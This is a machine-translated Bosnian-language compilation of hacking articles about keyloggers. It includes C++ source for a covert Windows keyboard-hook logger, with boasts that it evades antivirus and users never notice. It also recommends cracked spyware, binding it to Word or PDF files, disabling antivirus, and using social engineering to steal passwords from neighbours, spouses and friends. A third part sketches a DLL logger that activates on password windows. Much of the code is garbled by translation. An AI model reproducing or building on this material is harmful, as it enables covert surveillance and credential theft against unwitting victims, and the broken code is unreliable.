Laboratorija za sigurnost informacija.               Laboratorija za sigurnost informacija Koliko je trajalo?

Zdravo svima!

Davno sam imao ideju da napišem keylogger, na početku sam ga napisao na asembleru, ali ga nisam završio, ispostavilo se da je jako grešan, ali zato što... Posla je bilo dosta, ali ja se ne bavim trgovinom, podsticaj je brzo nestao...

Vrijeme je prolazilo, nekako sam zaboravio na ovu temu dok nisam naišao na članak o napadima na bankarski sistem korištenjem jednostavnog keyloggera i potpuno legalnog programa, vjerovatno za slanje logova i zaobilaženje firewall-a...

Pitao sam se koliko je "prosječnom programeru", za kojeg sebe smatram, teško da napiše jednostavan keylogger, kako će ga korisnici obraditi i koliko će vremena za to trebati!

Ideja o kreiranju takve teme/sekcije pojavila se kasnije, kada sam skoro završio ovaj keylogger.

Ali prvo, evo odgovora na pitanja mog mini-istraživanja:

1. U trenutku pisanja, keylogger detektuje neku vrstu Endgame-a, a ako igrate sa Release/Debug i kompilacijskim postavkama, detekcije nestaju;

2. Keylogger savršeno radi sa UAC-om, praktički se ne spaljuje, tj. nikada nećete shvatiti da se vaši ključevi upisuju u dnevnik.

3. Antivirusi ne reaguju ni na koji način, tj. Misle da tako treba da bude.

4. Koliko je trajalo?

Oko 5 sati ali ovo treba uzeti u obzir da nemam iskustva sa radom u studiju, morao sam da se bavim kodiranjem karaktera, kukicama itd. Naravno, bilo je više muke oko kodiranja...

Dakle, prijeđimo na glavni dio ovog članka:

1. Izjava o problemu:

Napišite lokalni keylogger koji može pratiti pritisak na tipke i zabilježiti ih u dnevniku, također morate navesti datum pritiska i prozor aplikacije gdje je tipka bila pritisnuta s ruskim i engleskim rasporedom; Također, keylogger mora raditi sa ograničenim pravima u sistemu i ne odati se ni na koji način, primjer dnevnika:

Neimenovani - Notepad: engleski: M: pet, 12. maj 20:38:39 2017.
Neimenovani - Notepad: engleski: ,: pet maj 12 20:38:41 2017

Neimenovani - Notepad: ruski: : : pet maj 12 20:38:48 2017
Neimenovani - Notepad: ruski: : R: pet maj 12 20:38:48 2017
Neimenovani - Notepad: ruski: : I: pet maj 12 20:38:48 2017
Neimenovani - Notepad: ruski: : e: pet maj 12 20:38:50 2017

2. Glavna ideja pisanja ovakvih programa:

Nije bitno na čemu želite da pišete, glavna ideja je da stavite kuku, jednostavno rečeno, to je “zamka” za tastaturu, poenta je da kada korisnik pritisne taster, vaš program će izvršiti vaš funkciju (potprogram), gdje već možete odrediti pritisnutu tipku, upisati je u dnevnik itd.

Windows ga ima SetWindowsHookEx, koji instalira programski definiranu proceduru filtera (zakačicu) u lanac filtera (zakačicu). Morate postaviti proceduru filtriranja (hook) kako biste kontrolirali određene vrste događaja u sistemu. Ovi događaji su povezani ili sa određenom niti ili sa svim nitima na istoj radnoj površini kao i pozivajuća nit.

Obratite pažnju na posljednju rečenicu, zahvaljujući ovoj osobini možemo pratiti sve pritiske tipki u drugim aplikacijama.

Kako to učiniti, primjer:

Int main(int argc, _TCHAR* argv) ( keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); msgLoop(); return 0; )

HookProc - Ovo je naša potprograma (koja će biti pozvana nakon što korisnik pritisne tipku) koju ćemo napisati kasnije.

MsgLoop() - Takođe vrlo važna stvar, postoji petlja, ako jednostavnim riječima program petlja i stalno će pozivati ​​hookProc kada korisnik pritisne tipku, evo njegovog koda:

Void msgLoop() ( while (GetMessage(&message, NULL, 0, 0)) ( TranslateMessage(&message); DispatchMessage(&message); ) )

Funkcija GetMessage preuzima poruku iz reda poruka pozivajuće niti i postavlja je u navedenu strukturu. Ova funkcija zaustavlja dolazak poslanih poruka sve dok je poruka na čekanju dostupna za preuzimanje.

Funkcija TranslateMessage prevodi poruke virtuelnog ključa u poruke znakova.

Funkcija DispatchMessage distribuira poruku prozorskoj proceduri. Koristi se za isporuku poruke koju je preuzela funkcija GetMessage.

Sada počnimo pisati našu glavnu funkciju (potprogram), koja će biti pozvana nakon što korisnik klikne na dugme:

Spojler: hookProc (C++ kod)

LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam) ( if (wParam == WM_KEYDOWN) ( HKL Lang_Keyboard; GetActiveKb (Lang_Keyboard); //Nabavite trenutni raspored. int CodeKeyboard = (int CodeKeyboard = (int CodeKeyboard) (int CodeKeyboard = (int CodeKeyboard) Lang p; ( lParam sc = MapVirtualKey(p->vkCode, 0);<<= 16; if (!(p->vkCode<= 32)) { sc |= 0x1 << 24; } GetKeyNameTextA(sc, keyNameBuff, 16); myKey = keyNameBuff; if (myKey == "Space") { writeToLog(""); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } else { if (CodeKeyboard == 0x4190419) { //Русская раскладка //************************************************************************************************* if (isCaps() == 1) { myKey = GetSymbolRu (myKey); writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); myKey = GetSymbolRu (myKey); writeToLog(myKey); } //************************************************************************************************* } else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } } return CallNextHookEx(NULL, nCode, wParam, lParam); }


Reći ću vam ideju, sam program možete pogledati u prilogu:

1. Počnimo s prototipom našeg potprograma:

LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)

WParam - Određuje da li je taster pritisnut, pa pre nego što bilo šta uradimo, proveravamo da li je taster pritisnut ovako:

2.1. Preuzmite raspored tastature;
2.2. Primite šifru virtuelne tastature, iz koje već možemo odrediti šta je tačno korisnik pritisnuo;
2.3. Pa, općenito, shvatite naš simbol.

Ovaj kod radi sve gore navedeno:

HKL Lang_Keyboard; GetActiveKb(Lang_Keyboard); //Nabavite trenutni izgled. int CodeKeyboard = (int) Lang_Keyboard; p = (PKBDLLHOOKSTRUCT)(lParam); sc = MapVirtualKey(p->vkCode, 0); sc<<= 16; if (!(p->vkCode<= 32)) { sc |= 0x1 << 24; } GetKeyNameTextA(sc, keyNameBuff, 16);

GetKeyNameTextA - Postavlja ime ključa u keyNameBuff bafer.

Naziv programa sa kojim korisnik radi može se dobiti ovako:

GetWindowTextA(hwnd, naslov, 100); GetWindowTextA(hwnd, ntitle, 100); ///pars

Vrijeme je ovako:

// Gettime time_t seconds = time(NULL); tm* timeinfo = localtime(&seconds);

Ofstream log(logName, ios::app); log<< title; log << ": English"; log << ": " << s; log << ": " << asctime(timeinfo) << endl;

logName - Putanja na kojoj će biti upisana datoteka dnevnika, koristim standardni izlaz za ofstream stream, može se napisati, na primjer, u AppData (Upišite tamo), dobijete putanju otprilike ovako:

Strcpy(logName, getenv("APPDATA")); // Get APPDATA folder strcat(logName, "log.log");

ALI TO NIJE SVE, SADA NAJINTERESANTNIJE, NAJME GetKeyNameTextA - RADI SAMO SA LATINSKIM SIMBOLIMA, KAKO URADITI PODRŠKU ĆIRILICI?

Možete napraviti sljedeću štaku, jednostavno uporedite ćirilicu i latinicu, otprilike ovako:

String _eng = "1234567890~!@#$%^"zxcvbnm,./QWERTYUIOPASDFGHJKL:\"|ZXCVBNM<>?"; char _rus = "1234567890e!\"Ne.;%:?ytsukengshschzkhjfyvaproljayachsmitby.Ytsukengshshchzhfyvaproldzhe/yachsmitby,";

Broj znakova niza _eng odgovara broju znaka _rus, stoga, ako pronađemo broj znaka _eng, definirat ćemo i _rus, tako ćemo imati ćirilično pismo, kako to implementirati na primjeru:

String GetSymbolRu (ključ string) ( int Broj = 0; string Rezult; Broj = _eng.find(Key); if (Broj != -1) ( char * tmp = novi char ; // inicijaliziraj dodatni niz CharToOemA(_rus88, tmp // transformacija delete tmp // brisanje dodatnog niza Rezult + _rus88 // Dodijeljen rezultat ) else ( return Key; ) )

Dakle, nalazimo broj u _eng (Broj = _eng.find(Key);), a onda pomoću ovog broja već možemo dobiti simbol na ćirilici... :)

ALI PAR TOČKI:

C, u principu, nije prijateljski sa ćirilicom, a posebno sa Visual Studio-om, pa da sve bude jasno, evo još jednog mog saveta:

Char * tmp = novi znak; // inicijalizira dodatni niz CharToOemA(_rus88, tmp); // pretvoriti delete tmp; // uklanjamo dodatni niz

Konvertujemo niz ćiriličnim pismom, za to dodjeljujemo bafer u memoriju i koristimo CharToOemA(_rus88, tmp);, sada će naš niz normalno biti upisan u datoteku i izlaz na konzolu, ne zaboravite izbrisati delete tmp iz sjećanja; Onda... :)

If (CodeKeyboard == 0x4190419) ( //Rusija dnevnik<< title; log << ": Russian"; log << ": " << ReplaceResult(s); log << ":^^^ " << s; log << ": " << asctime(timeinfo) << endl; } else if (CodeKeyboard == 0x4090409) { //Eng log << title; log << ": English"; log << ": " << s; log << ": " << asctime(timeinfo) << endl; }

Pa, naravno, još ćemo morati odrediti dodatne. tipke kao što su razmak, enter, itd., nešto ovako:

If (myKey == "Space") ( writeToLog(""); ) else if (myKey == "Right Alt") ( writeToLog(""); ) else if (myKey == "Enter") ( writeToLog(" "); ) else if (myKey == "Lijevi Alt") ( writeToLog(""); ) else if (myKey == "Tab") ( writeToLog(""); ) else if (myKey == "Backspace" ) ( writeToLog(""); ) else if (myKey == "Caps Lock") ( writeToLog(""); ) else if (myKey == "Delete") ( writeToLog(""); ) else if (myKey == "Desni Shift") ( writeToLog(""); ) else if (myKey == "Shift") ( writeToLog(""); ) else if (myKey == "Ctrl") ( writeToLog(""); ) else if (myKey == "Desni Ctrl") ( writeToLog("");

Čini se da je sve osnovno, izvor je u prilogu, trebalo bi da bude jasno mislim... :)

O da, umalo da zaboravim:

1. Pokrenite na bilo kom računaru u Visual Studio 2010 (to će povećati veličinu binarne datoteke, ali bolje je to učiniti):

(Projekat) -> (Svojstva) -> (Svojstva konfiguracije) -> (C/C++) -> (Generacija koda) -> (Privremena biblioteka izvršavanja) -> (Višenitna / MT) i zatim “OK”;

(Projekt) -> (Svojstva) -> (C/C++) -> (Generacija koda) -> (Biblioteka vremena izvođenja) -> (Višestruki (/MT)) -> Ok

2. Koristio sam projekt konzole, lakše je otkloniti greške, pa također:

Kako ukloniti konzolu:

Kliknite Projekt => Svojstva(ili Alt+F7).

Onda Linker => Napredno i vozi u Entery Point sljedeće: mainCRTStartup.

Samo goli izvori (ima ih dva), za copy-paste i analizu.

JOŠ PAR PITANJA O KEYLOGERU:

1) Da li ga je potrebno razvijati, sada postoji ovo:

Podrška za latinicu/ćirilicu, ali ne sve znakove, ako odlučim da je razvijem, popraviću;

Malo smeća je upisano u dnevnike (ne morate uzeti u obzir ključeve koji su označeni simbolom “/”), to se može ukloniti.

Možete dodati podršku za snimke ekrana.

2) Općenito, javite nam ako ovo treba dalje razvijati, usput, Relise je postavljen na VT, ali to nije strašno i namjerno, onda možete nastaviti raditi na zaobilaženju detekcije i kako i koliko dugo bit će potrebno da drugi imaju detekciju.

MOLIM VAS, ODKAZITE SE, AKO JE MOGUĆE, AKO IMA LOGILA NASTAVITI KRAJANJE SLIČNIH TEMA I RAZVOJ SLIČNIH PROIZVODA OVDJE! :)

Ko od nas nije poželeo da se bar jednom oseti kao kul haker i da bar nešto razbije? :) Čak i ako ne, hajde da pričamo o tome kako bi bilo sjajno dobiti lozinku sa svoje e-pošte/društvene mreže. mreža prijatelja, supruge/muža, cimera pomislio je svaki barem jednom. :) Da, i od nečega se ipak mora početi! Značajan dio napada (hakovanje) uključuje inficiranje žrtvinog računara takozvanim keyloggerima (špijunski softver).

Dakle, u današnjem članku ćemo govoriti o tome šta su besplatni programi za nadgledanje Windows računara, gdje možete preuzeti njihove pune verzije, kako njima zaraziti računar žrtve i koje su karakteristike njihove upotrebe.

Ali prvo, mali uvod.

Šta su keyloggeri i zašto su potrebni?

Mislim da ste i sami pogodili o čemu se radi. U pravilu, oni su vrsta programa koji je skriven (iako to nije uvijek slučaj) instaliran na žrtvinom računalu, nakon čega bilježi apsolutno sve pritiske tipki na ovom čvoru. Štaviše, pored samih klikova obično se bilježi i sljedeće: datum i vrijeme klika (radnja) i program u kojem su te radnje izvršene (preglednik, uključujući adresu web stranice (ura, odmah vidimo koje su lozinke su za lokalne sistemske usluge (uključujući lozinke za prijavu na Windows) itd.);

Odavde se odmah vidi jedan od problema: dobio sam pristup komšinjinom kompjuteru na par minuta i želim da dobijem njenu lozinku sa VK! Instalirao sam čudo program i vratio kompjuter. Kako mogu kasnije potražiti lozinke? Tražite način da joj ponovo uzmete računar? Dobra vijest je: obično ne. Većina keyloggera može ne samo lokalno pohraniti cijelu akumuliranu bazu podataka o akcijama, već je i poslati na daljinu. Postoji mnogo opcija za slanje dnevnika:

  • Fiksna e-pošta (može ih biti nekoliko) je najpogodnija opcija;
  • FTP server (ko ga ima);
  • SMB server (egzotičan i ne baš zgodan).
  • Fiksni fleš disk (ubacite ga u USB port žrtvinog računara i svi zapisi se tamo automatski kopiraju u nevidljivom režimu!).

Zašto je sve ovo potrebno? Mislim da je odgovor očigledan. Osim banalne krađe lozinki, neki keyloggeri mogu učiniti niz drugih lijepih stvari:

  • Evidentiranje korespondencije na određenim društvenim mrežama. mreže ili instant messengeri (na primjer, Skype).
  • Pravljenje snimaka ekrana ekrana.
  • Pregledajte/snimite podatke web kamere (što može biti vrlo zanimljivo).

Kako koristiti keyloggere?

A ovo je teško pitanje. Morate shvatiti da samo pronalaženje prikladnog, funkcionalnog, dobrog keyloggera nije dovoljno.

dakle, šta je potrebno za uspješan rad špijunskog programa?:

  • Administratorski pristup udaljenom računaru.
    Štaviše, to ne znači nužno i fizički pristup. Možete mu lako pristupiti putem RDP-a (usluga udaljene radne površine); TeamViewer; AmmyAdmin, itd.
    Po pravilu, najveće poteškoće su povezane s ovom tačkom. Međutim, nedavno sam napisao članak o tome kako dobiti administratorska prava u Windowsu.
  • Anonimni e-mail / ftp (po kojem nećete biti identificirani).
    Naravno, ako razbijate tetku Šuru za svog komšiju, ovu tačku možete bezbedno izostaviti. Kao što je slučaj ako uvijek imate pri ruci računar žrtve (ala, saznajte lozinke vašeg brata/sestre).
  • Nedostatak funkcionalnih antivirusa/internih Windows zaštitnih sistema.
    Većina javnih keyloggera (o kojima će biti riječi u nastavku) poznata je velikoj većini antivirusnog softvera (iako postoje virusi loggera koji su ugrađeni u OS kernel ili sistemski drajver, a antivirusi ih više ne mogu otkriti ili uništiti, čak i ako su otkrio ih). Zbog gore navedenog, antivirusni softver, ako ga ima, morat će se nemilosrdno uništiti. Pored antivirusa, opasnost za naš špijunski softver predstavljaju i sistemi poput Windows Defendera (koji su se prvi put pojavili u Windows 7 i novijim verzijama). Otkrivaju sumnjivu aktivnost u softveru koji radi na računaru. Na Googleu možete lako pronaći informacije o tome kako ih se riješiti.

Ovo su, možda, svi neophodni i dovoljni uslovi za vaš uspeh na polju krađe tuđih lozinki/prepiske/fotografija ili bilo čega drugog na šta želite da upadnete.

Koje vrste špijunskog softvera postoje i gdje ih mogu preuzeti?

Dakle, krenimo s pregledom glavnih keyloggera koje sam koristio u svakodnevnoj praksi sa linkovima za besplatno preuzimanje njihovih punih verzija (tj. sve verzije su trenutno najnovije (za koje je moguće pronaći lijek) i sa već ispravnim i testiranim pukotinama).

0. Pacov!

Ocjene (od 10):

  • Stealth: 10
  • Pogodnost/upotrebljivost: 9
  • Funkcionalnost: 8

To je samo bomba, a ne keylogger! U radnom stanju potrebno je 15-20 KB. Zašto se čuditi: napisan je u potpunosti na asemblerskom jeziku (veterani programeri liju suze) i pisali ga uglavnom entuzijastični hakeri, zbog čega je nivo njegove tajnosti jednostavno neverovatan: radi na nivou kernela OS-a!

Osim toga, paket uključuje FileConnector - mini-program koji vam omogućava da povežete ovaj keylogger s apsolutno bilo kojim programom. Kao rezultat, dobijate novi exe skoro iste veličine, a kada se pokrene, radi tačno kao program sa kojim ste ga zalepili! Ali nakon prvog pokretanja, vaš keylogger će se automatski instalirati u nevidljivom načinu rada s parametrima za slanje dnevnika koje ste prethodno naveli. Zgodno, zar ne?

Odlična prilika za društveni inženjering (donesite datoteku igre/prezentaciju prijatelju na fleš disku, ili čak samo Word dokument (reći ću vam kako da kreirate exe fajl koji pokreće određeni word/excel fajl u jednom od moji sljedeći članci), pokreni, sve je u redu i divno, ali prijatelj je već nevidljivo zaražen!). Ili jednostavno pošaljete ovu datoteku prijatelju poštom (po mogućnosti link za preuzimanje, pošto moderni mail serveri zabranjuju slanje exe datoteka). Naravno, i dalje postoji rizik od antivirusnog softvera tokom instalacije (ali neće postojati nakon instalacije).

Inače, uz pomoć nekih drugih tehnika možete zalijepiti bilo koju skrivenu instalacijsku distribuciju (koje se nalaze u The Rat! i Elite keyloggeru) ne samo exe fajlovima (koji još uvijek izazivaju sumnju kod manje ili više naprednih korisnika), već i sa običnim word / excel, pa čak i pdf datotekama! O jednostavnom pdf-u niko nikada neće pomisliti, ali to nije slučaj! :) Kako se to radi tema je posebnog članka. Oni koji su posebno revni mogu mi pisati pitanja putem obrasca za povratne informacije. ;)

Sve u svemu, Pacov! može se opisivati ​​jako dugo i mnogo. Ovo je urađeno mnogo bolje od mene. Tu je i link za preuzimanje.

1. Elite keylogger

Ocjene (od 10):

  • Stealth: 10
  • Pogodnost/upotrebljivost: 9
  • Funkcionalnost: 8

Možda jedan od najboljih keyloggera ikada stvorenih. Njegove mogućnosti, pored standardnog skupa (presretanje svih klikova u kontekstu aplikacija/prozora/sajtova), uključuju presretanje instant messenger poruka, slika sa web kamere, a takođe – što je JAKO važno! - presretanje lozinki servisa WinLogon. Drugim riječima, presreće Windows lozinke za prijavu (uključujući one domene!). Ovo je postalo moguće zahvaljujući njegovom radu na nivou drajvera sistema i pokretanju čak i u fazi pokretanja OS-a. Zbog ove iste funkcije, ovaj program ostaje potpuno nevidljiv i za Kasperosky i za sve druge anti-malware softvere. Iskreno, nisam sreo nijedan keylogger koji je sposoban za ovo.

Međutim, ne treba se previše zavaravati. Sam instalacijski program antivirusi vrlo lako prepoznaju i da biste ga instalirali trebat će vam administratorska prava i onemogućavanje svih antivirusnih servisa. Nakon instalacije sve će raditi savršeno u svakom slučaju.

Osim toga, opisana funkcija (radi na nivou kernela OS) uvodi zahtjeve za verziju OS-a na kojoj će raditi keyloggeri. Verzija 5-5.3 (linkovi do kojih su dati ispod) podržava sve do Windows 7, uključujući. Win 8 / 10, kao i porodica Windows servera (2003 / 2008 / 2012) više nisu podržani. Postoji verzija 6, koja savršeno funkcionira, uklj. na win 8 i 10, međutim, trenutno nije moguće pronaći krekovanu verziju. Vjerovatno će se pojaviti u budućnosti. U međuvremenu, možete preuzeti Elite keylogger 5.3 sa gornje veze.

Ne postoji mrežni režim rada, stoga nije pogodan za upotrebu od strane poslodavaca (za praćenje računara svojih zaposlenih) ili čitave grupe ljudi.

Važna stvar je mogućnost kreiranja instalacijske distribucije s unaprijed definiranim postavkama (na primjer, sa navedenom adresom e-pošte na koju će se trebati poslati zapisnici). Istovremeno, na kraju dobijate distributivni komplet koji, kada se pokrene, ne prikazuje apsolutno nikakva upozorenja ili prozore, a nakon instalacije može se čak i sam uništiti (ako označite odgovarajuću opciju).

Nekoliko snimaka ekrana verzije 5 (da pokažu koliko je sve lijepo i zgodno):

2. Sve-u-jednom keylogger.

Ocjene (od 10):

  • Stealth: 3
  • Pogodnost/upotrebljivost: 9
  • Funkcionalnost: 8

To je takođe vrlo, vrlo zgodna stvar. Funkcionalnost je sasvim na nivou Elite keyloggera. Stvari su gore sa tajnovitošću. Winlogon lozinke se više ne presreću, nije upravljački program i nije ugrađen u kernel. Međutim, instalira se u sistemske i skrivene AppData direktorije, koji nisu tako lako dostupni neovlaštenim korisnicima (ne onima u čije ime je instaliran). Ipak, antivirusi prije ili kasnije to uspješno urade, zbog čega ova stvar nije posebno pouzdana i sigurna kada se koristi, na primjer, na poslu za špijuniranje vlastitih nadređenih. ;) Zalijepiti ga na nešto ili šifrirati kod da ga sakrijete od antivirusa neće raditi.

Radi na bilo kojoj verziji Win OS-a (što je lijepo i praktično).

Što se ostalog tiče, sve je u redu: sve bilježi (osim Windows lozinki za prijavu), šalje bilo gdje (uključujući e-poštu, ftp, fiksni fleš disk). Što se tiče udobnosti, sve je takođe odlično.

3. Spytech SpyAgent.

Ocjene (od 10):

  • Stealth: 4
  • Pogodnost/upotrebljivost: 8
  • Funkcionalnost: 10

Takođe dobar keylogger, iako sa sumnjivom tajnošću. Podržane verzije OS-a su također moguće. Funkcionalnost je slična prethodnim opcijama. Postoji zanimljiva funkcija samouništenja nakon određenog vremenskog perioda (ili nakon dostizanja unaprijed određenog datuma).

Osim toga, moguće je snimati video sa web kamere i zvuk sa mikrofona, koji takođe može biti veoma popularan, a koji prethodna dva predstavnika nemaju.

Postoji mrežni način rada koji je pogodan za praćenje cijele mreže računara. Inače, StaffCop ga ima (nije uključen u recenziju zbog beskorisnosti za jednog korisnika - pojedinca). Možda je ovaj program idealan za poslodavce da špijuniraju svoje zaposlene (iako su lideri u ovoj oblasti bezuslovno StaffCop i LanAgent – ​​ako ste pravno lice, svakako pogledajte u njihovom pravcu). Ili da pratite svoje potomke koji vole sjediti i gledati "stranice za odrasle". One. pri čemu ono što je potrebno nije prikrivanje, već pogodnost (uključujući gomilu prekrasnih log izvještaja, itd.) i funkcionalnost za blokiranje određenih stranica/programa (SpyAgent je također ima).

4. Spyrix Personal monitor.

Ocjene (od 10):

  • Stealth: 4
  • Pogodnost/upotrebljivost: 6
  • Funkcionalnost: 10

Funkcionalnost je na nivou prethodnog kandidata, ali isti problemi sa tajnošću. Osim toga, funkcionalnost uključuje zanimljivu stvar: kopiranje datoteka sa USB drajvova umetnutih u računar, kao i daljinsko gledanje logova preko web naloga na Spyrix web stranici (ali ćemo preuzeti krekovanu verziju, tako da neće radite za nas).

5. Spyrix Personal monitor.

Ocjene (od 10):

  • Stealth: 3
  • Pogodnost/upotrebljivost: 6
  • Funkcionalnost: 8

Neću to detaljno opisivati, jer... ova instanca nema ništa što nije imao jedan od prethodnih špijuna, međutim, nekome se može svidjeti ovaj keylogger (barem zbog njegovog interfejsa).

Šta ćemo završiti?

Pitanje korištenja keyloggera je više etičko nego tehničko i uvelike ovisi o vašim ciljevima.

Ako ste poslodavac koji želi da kontroliše svoje zaposlene, slobodno postavite StaffCop, prikupite pismenu dozvolu svih zaposlenih za takve radnje (u suprotnom možete biti ozbiljno naplaćeni za takve stvari) i posao je u torbi. Iako ja lično znam efikasnije načine da povećam učinak svojih zaposlenih.

Ako ste početnik IT stručnjak koji samo želi iskusiti kako je slomiti nekoga i kako ova stvar općenito funkcionira, onda se naoružajte metodama društvenog inženjeringa i provedite testove na svojim prijateljima, koristeći bilo koji od navedenih primjera. Međutim, zapamtite: otkrivanje takve aktivnosti od strane žrtava ne doprinosi prijateljstvu i dugovječnosti. ;) I to definitivno ne bi trebalo da testirate na svom poslu. Zabeležite moje reči: Imam iskustva sa ovim. ;)

Ako vam je cilj da špijunirate svog prijatelja, muža, komšiju, ili možda čak to radite redovno i za novac, dobro razmislite da li se isplati. Uostalom, prije ili kasnije mogu se privući. I nije vredno toga: "prekapati po tuđem prljavom vešu nije prijatno zadovoljstvo." Ako i dalje trebate (ili možda radite na polju istraživanja kompjuterskih zločina i takvi zadaci spadaju u vašu profesionalnu odgovornost), onda postoje samo dvije opcije: Pacov! i Elite Keylogger. U modu skrivenih instalacijskih distribucija, zalijepljenih word/excelom/pdf. I bolje je, ako je moguće, šifrirati sa svježim kriptorom. Samo u ovom slučaju možemo garantovati sigurnije aktivnosti i pravi uspjeh.

Ali u svakom slučaju, vrijedi zapamtiti da je kompetentna upotreba keyloggera samo jedna mala karika u postizanju cilja (uključujući čak i jednostavan napad). Nemate uvijek administratorska prava, nemate uvijek fizički pristup i neće svi korisnici otvarati, čitati i još više preuzimati vaše priloge/linkove (zdravo društveni inženjering), antivirus neće uvijek biti onemogućen /vaš keylogger/cryptor im neće uvijek biti nepoznat. Svi ovi i mnogi neispričani problemi se mogu riješiti, ali njihovo rješavanje tema je čitavog niza zasebnih članaka.

Ukratko, tek ste počeli da ronite u složen, opasan, ali nevjerovatno zanimljiv svijet informacione sigurnosti. :)

S poštovanjem,Lysyak A.S.

O pisanju keyloggera
već mnogo puta rečeno, ali sve
imaju jedan veliki nedostatak - po pravilu,
potrebno vrlo ograničeno znanje
informacije, umjesto da sve piše u log fajl,
ono što korisnik napiše na tastaturi je malo vjerovatno za vas
daće mnogo hrane za razmišljanje
pritiskom na dugmad kada igrate CS 😉

Iz toga slijedi da špijun mora biti
napredno, a ne glupo pisati sve to
daju mu :) Čak i nazovi takav program
špijun ne okreće jezik - skoro je
elektronski agent 007:-))) Načini da
tako da program upisuje u dnevnik interesovanja
Imamo dosta materijala. Najjednostavnije -
kontrolirati aktivne prozore, tj. u kojem
dugmad se trenutno guse :) Kako si,
Mislim, znate, špijuni se obično sastoje od
izvršnu datoteku i DLL. To je zbog činjenice
šta da presretne poruke za prozor
potrebno je da kreirate novi PROCES, i to najviše
Zgodan način da to učinite je korištenje dll-a.
Stoga, da bi se aktivirao
zapravo sam loger, trebat će vam u pravom
trenutak za učitavanje DLL-a i kada je prozor aktivan
mijenja u nešto drugo - ispraznite to iz memorije.

Pogledajmo funkcije rada sa DLL-ovima u Visual jeziku
C++. Dll se učitava u memoriju
funkcija hINSTAGE=Učitaj biblioteku("name.dll"), gdje je hINSTAGE -
kao deskriptor DLL-a učitanog u memoriju,
name.dll - ime biblioteke. da ga istovari,
postoji funkcija FreeLibrary(hINSTAGE);

Sada o tome kako možemo nabaviti stvari koje su nam potrebne
aplikacije. Na primjer, znamo da je korisnik
čita poštu putem web stranice www.mail.ru, onda možete
konfigurirati agenta tako da presreće
pritiska na tastere kada korisnik ode na ovo
web stranica. (Treba imati na umu da u nekim
Uopšte ne postoje špijunske aplikacije na tastaturi
može raditi, na primjer, u adresnoj traci
Internet Explorer"a - ovo dovodi do "pada
završetak programa" - iz čega si još
Tražim Windows :))) Za ovu metodu sasvim je
čitanje lozinki sa birača je također prikladno
- ako korisnik pati od paranoje i svaki put
unosi login i prolazi ručno :) Ili zaista
zanimljivo je znati šta piše u Outlooku ili
u notes. Evo dijela koda koji radi
poređenje naslova prozora sa onima koji su nam potrebni.

HINSTAGE hINSTAGE;

dok (1)
{
//Pokreni petlju.

int sl,ll;
ll=1;
sl=2;
//varijable za
counter
A.
char st;
HWND hw;
//Idemo s najjednostavnijim
po - upoređujući nizove znak po karakter:
rezultirajući naslov prozora i sa onim koji nam je potreban
linija.

dok (ll!=sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128); // read

char stt="_Ovdje upisujemo naslov željenog
prozori za nas_№1";

sl=strlen(stt);
ll=0;
dok (stt==st)
//uporedi
red po karakter
//prikladnije je to učiniti sa pozicije koja će biti
provjerite da li je traženi uključen
// možemo koristiti string kao dio drugog stringa, možete
napravite nešto poput //širokog filtera.

{
ll++;
}

ako (ll==sl) ( //if strings
utakmica do kraja 1. reda -

stop; //prekinuti proces
}
// i tako dalje - ako
morate provjeriti prisustvo više prozora.

char stt="_Ovdje upisujemo naslov željenog
prozori za nas_br.2";
sl=strlen(stt);
ll=0;
dok (stt==st)
{
ll++;
}

ako (ll==sl) (
stop; //prekinuti proces
}

Umjesto uzastopne provjere, možete
napraviti paralelu kada se uporedi u
jedan ciklus elemenata reda, ako je barem jedan
podudara se - tada je DLL špijun aktiviran.

hINSTAGE=Učitaj biblioteku("key1.dll");

Sada moramo stalno provjeravati
da li ovaj prozor ostaje aktivan.

dok (ll==sl) //Zbogom
linije se poklapaju - vrtimo se na mjestu

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// read
trenutno aktivni prozor.

ll=0;
dok (stt==st)
{
ll++;
}
}

Izlazak iz ciklusa označava da je aktivan
prozor se promijenio, tako da sljedeće iskrcavamo "špijunski softver"
biblioteka i ciklus počinje od početka – tj.
program ponovo čeka jedan od
potrebne prozore.

FreeLibrary(hINSTAGE);

Međutim, gore navedena metoda također ima
Nedostaci - potrebno je svaki put provjeriti
sa cijele liste prozora je onaj koji vam treba?
trenutno smo aktivni. Zbog toga
možete koristiti drugačiji algoritam - nemojte provjeravati
naslov prozora i pogledajte da li je u ovom
elementi prozora tipa EditBox Po pravilu,
lozinke su tamo upisane :) Za ovo ce biti
pogledajte elemente ovog prozora - i ako
među njima je i Edit - tada učitavamo DLL.

char p2,p3; //nizovi
znakova za naslove prozora.

Opet provjeravamo sve prozore u petlji:

dok (p3!="Uredi") //Zbogom
Nismo pronašli prozor sa okvirom za uređivanje - pokrenite petlju

{

hw=GetForegroundWindow();

HWND hwnd_child; //promjenljiva
element prozora

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child,p3,128);
if (p3!="Uredi")
//ako je prvi
pronađeni elementi prozora - ne EditBox - tada
traži dalje

{
dok (hwnd_child!=0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child,p3,128);
if (p3=="Uredi")
{
stop;
}
}
}
}

Sada o samom špijunskom DLL-u.
Bolje je to napisati u Delphiju, jer ovo
zreli Pascalov potomak nema takve
izopačena "sipipska" navika
prigovaranje o tipovima podataka. Stvoriti
odaberite biblioteku File-New-Direct Link Library - i
šablon za DLL je spreman. A evo i samog koda:

bibliotečki ključ1;
usesWindows;

var
KHook: HHOOK; //promjenljiva za
"zamke"

